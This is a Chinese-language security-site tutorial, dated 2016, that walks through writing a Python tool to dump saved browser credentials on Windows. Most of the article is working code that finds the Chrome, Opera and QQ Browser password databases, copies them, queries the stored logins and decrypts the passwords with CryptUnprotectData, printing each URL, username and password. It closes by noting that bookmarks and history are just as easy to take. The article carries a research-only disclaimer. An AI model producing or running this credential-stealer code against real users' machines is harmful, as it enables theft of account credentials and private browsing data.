首页 > 安全 > 工具软件 > 正文
手把手教你如何打造自己的网络安全渗透工具(浏览器篇)
2016-12-10       个评论      
收藏    我要投稿

本文讲述的是手把手教你如何打造自己的网络安全渗透工具(浏览器篇),旨在服务社会,供安全研究人员学习使用,请勿用于其他非法用途,违者后果自负。

早就听闻FreeBuf评论区大神多,作为一个菜鸟,在极度惶恐下发表这篇文章只为抛砖引玉,让众多萌新开阔视野。

本文将会演示怎样使用Python导出Windows系统上浏览器保存的密码、书签、浏览历史等敏感数据。由于时间和个人能力关系,所涉及的浏览器种类、版本有限,还望有大神不吝赐教。

环境搭建

首先Python环境是必不可少的,强烈推荐使用32位2.7版本(即使你的系统是64位),可免去不少麻烦!

然后你需要安装以下库(使用pip快速安装)。

pywin32

#下载对应版本并安装

https://sourceforge.net/projects/pywin32/files/pywin32/

shutil:

#(非必要,在本文所含代码中仅用来拷贝文件,可使用以下代码代替)

import os

os.system('copy file directory')

pyasn1:

#(必要,除非你想造轮子)

pip install pyasn1

#测试安装是否成功

from pyasn1.codec.der import decoder

PyCrypto::

#请确保你使用的Python是32位的,不然会遇到兼容问题

#请确保你下载了Visual Studio Community 2015 : https://www.visualstudio.com/zh-hans/downloads/

#安装VS的时候请确保勾选Visual C++,Python Tools for Visual Studio

#在“..python安装路径...\Lib\distutils目录下有个msvc9compiler.py找到243行

toolskey = "VS%0.f0COMNTOOLS" % version 直接改为 toolskey = "VS140COMNTOOLS"

pip install pycrypto

#测试是否安装成功

from Crypto.Cipher import DES3

#报错的话,先卸载

pip uninstall pycrypto

#再选择对应编译版下载后安装: http://www.voidspace.org.uk/python/modules.shtml#pycrypto

#以上可解决99%安装不成功的问题,还有1%是文件夹名大小写问题

Chrome、Opera和QQ浏览器

首先,找到浏览器保存数据库的位置

#默认位置在:Chrome:C:\Users\当前用户名\AppData\Local\Google\Chrome\User Data\Default

# Opera: C:\Users\当前用户名\AppData\Roaming\Opera Software\Opera Stable

# QQ : C:\Users\当前用户名\AppData\Local\Tencent\QQBrowser\User Data\Default

# 登录QQ后:C:\Users\hasee-pc\AppData\Local\Tencent\QQBrowser\User Data\Default\QQ号码

#保存的密码:Chrome&Opera:Login Data

# QQ Browser:EncryptedStorage

#书签:Bookmarks

#浏览历史:History

#使用Python获取路径

import os

os.path.expanduser('~\\AppData\\Local\\Google\\Chrome\\User Data\\Default')

分析数据库

可以使用一款名叫DB Browser的程序查看数据库结构(http://sqlitebrowser.org/)。

以下为Chrome Login Data结构:

\

打开文件后,选择Browser Data即可看到储存的数据,其中password_value已加密,可使用win32crypt.CryptUnprotectData()解密

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx

解密

注意,当Chrome在运行的时候,数据库会无法访问,这时候可以把数据库拷贝到一个临时文件夹,读取完成后再删除即可。完整代码如下:

#Dump saved password from Chrome

import os

import shutil

import win32crypt

class Chrome:

def get_pwd(self):

path_tab = [

os.path.expanduser('~\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data'),

os.path.expanduser('~\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data')

]

data_path = [path for path in path_tab if os.path.exists(path)]

if not data_path:

debug_info = '[-]Chrome data not found.'

return

#More than 1 path valid

if len(data_path) != 1:

data_path = data_path[0]

#Copy file Login Data to avoid locking

try:

shutil.copy(data_path, os.getcwd() + '\\' + 'db_copy') #os.sep = \\

data_path = os.getcwd() + '\\' + 'db_copy'

except Exception,e:

debug_info = '[-]An error occured when copying Login Data:' + e

try:

conn = sqlite3.connect(data_path)

cursor = conn.cursor()

except Exception,e:

debug_info = '[-]An error occured when opening database file:' + e

return

cursor.execute('SELECT origin_url, username_value, password_value FROM logins')

chrome_pwd = []

for res in cursor.fetchall():

values = {}

#Decryption

try:

pwd = win32crypt.CryptUnprotectData(res[2], None, None, None, 0)[1]

except Exception,e:

pwd = ''

debug_info = '[-]An error occured when decrypting password'

values['URL'] = res[0]

values['ID'] = res[1]

values['PWD'] = pwd

chrome_pwd.append(values)

conn.close()

if data_path.endswith('db_copy'):

os.remove(data_path)

return chrome_pwd

class Opera:

def get_path(self):

data_path = os.path.expanduser('~\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data')

if os.path.exists(data_path):

return data_path

else:

return

def get_pwd(self):

path = self.get_path()

conn = sqlite3.connect(path)

cursor = conn.cursor()

cursor.execute('SELECT action_url, username_value,password_value FROM logins')

opera_pwd = []

for value in cursor.fetchall():

values = {}

pwd = win32crypt.CryptUnprotectData(value[2],None,None,None,0)[1]

if pwd:

values['URL'] = value[0]

values['ID'] = value[1]

values['PWD'] = pwd

opera_pwd.append(values)

else:

values['URL'] = value[0]

values['ID'] = value[1]

values['PWD'] = ''

opera_pwd.append(values)

return opera_pwd

class Qq:

def __init__(self):

self.get_path()

def get_path(self):

self.data_path = []

for root,dirs,files in os.walk(os.path.expanduser('~\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default')):

for file in files:

if file == 'EncryptedStorage':

self.data_path.append(os.path.join(root,file))

return self.data_path

def get_pwd(self):

qq_pwd = []

for path in self.data_path:

shutil.copy(path, os.getcwd() + '\\' + 'db_copy') #os.sep = \\

path = os.getcwd() + '\\' + 'db_copy'

conn = sqlite3.connect(path)

cursor = conn.cursor()

cursor.execute('SELECT str1, str2, blob0 FROM entries')

for res in cursor.fetchall():

values = {}

try:

pwd = win32crypt.CryptUnprotectData(res[2],None,None,None,0)[1]

except:

pwd = ''

values['URL'] = res[0]

values['ID'] = res[1]

values['PWD'] = pwd

qq_pwd.append(values)

conn.close()

os.remove(path)

return qq_pwd

p = Chrome() #p = Opera(),p = Qq()

for i in p.get_pwd():

print i['URL'],i['ID'],i['PWD']

运行结果如下,为了保护隐私,输出结果已“打码”。

\

由于篇幅原因,就不贴导出书签和浏览历史的代码了,毕竟你连账号密码登录地址都知道,还有什么隐私是得不到的呢~~

点击复制链接 与好友分享!回本站首页
上一篇:WAFNinja:灵活的WAF自动化Fuzz工具
下一篇:TDD 方法开发网络安全测试工具:代理扫描器(第一集)
相关文章
图文推荐
文章
推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训
版权所有: 红黑联盟--致力于做实用的IT技术学习网站